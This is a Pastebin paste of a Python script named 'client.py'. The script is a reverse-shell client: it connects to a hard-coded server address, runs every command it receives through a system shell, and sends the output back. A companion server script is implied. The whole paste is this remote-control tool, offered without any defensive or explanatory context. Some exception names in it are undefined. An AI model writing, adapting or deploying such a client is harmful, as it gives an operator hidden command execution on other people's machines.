Advertisement
Guest User

client.py toto

a guest
Jun 19th, 2018
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.01 KB | None | 0 0
  1. #!/usr/local/bin/python3
  2. import socket
  3. import subprocess
  4. import os
  5. import time
  6. import sys
  7.  
  8. host = '192.168.1.10'  # server ip, which you want to connect to
  9. port = 8090  # the port needs to be the same as server.py port in order to connect with server
  10.  
  11. class Client:
  12.     def __init__(self, _host, _port=3434):
  13.         self.host = _host
  14.         self.port = _port
  15.         self.s = None
  16.         self.flag = False
  17.         self.launch()
  18.  
  19.     def launch(self):
  20.         try:
  21.             self.open_socket()
  22.             self.receive_commands()
  23.            
  24.  
  25.         except error as e:
  26.             time.sleep(6)
  27.             #self.launch()
  28.  
  29.     # will create the socket
  30.     def open_socket(self):
  31.         try:
  32.             self.s = socket.socket()
  33.             self.s.connect((self.host, self.port))
  34.  
  35.         except socket_error as se:
  36.             print("Socket connection error: " + str(se))
  37.             time.sleep(5)
  38.             if not self.flag:
  39.                 self.open_socket()
  40.  
  41.     # receive commands from the Server
  42.     def receive_commands(self):
  43.         try:
  44.             while True:
  45.                 data = self.s.recv(20480)
  46.                 striped_data = data[:].strip().decode("utf-8")
  47.                 decoded_data = data[:].decode("utf-8")
  48.  
  49.                 if decoded_data[:2] == 'cd':
  50.                     os.chdir(decoded_data[3:])
  51.                     continue
  52.                 elif decoded_data ==  '<list_connections>':
  53.                     self.s.send(str.encode('<reply>'))
  54.                     continue
  55.                 # this condition will work when the user quit server.py
  56.                 elif decoded_data == "end-of-session":
  57.                     time.sleep(2)
  58.                     self.s.close()
  59.                     sys.exit(0)
  60.                     os._exit(0)
  61.                     exit(0)
  62.                     quit(0)
  63.  
  64.                 if len(data) > 0:
  65.                     try:
  66.                         cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, \
  67.                             stderr=subprocess.PIPE, \
  68.                             stdout=subprocess.PIPE, \
  69.                             stdin=subprocess.PIPE)
  70.                         #import pdb;pdb.set_trace()
  71.                         result = str(cmd.stdout.read() + cmd.stderr.read(), "utf-8")
  72.  
  73.                         self.s.send(str.encode(result))
  74.                         print(result)
  75.                     except:
  76.                         result = "Command not recognized \n"
  77.                         self.s.send(str.encode(result))
  78.                         print(result)
  79.  
  80.  
  81.             self.s.close()
  82.  
  83.         except:
  84.             pass
  85.  
  86. if __name__ == '__main__':
  87.     c = Client(host, port)
  88.     c.launch()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement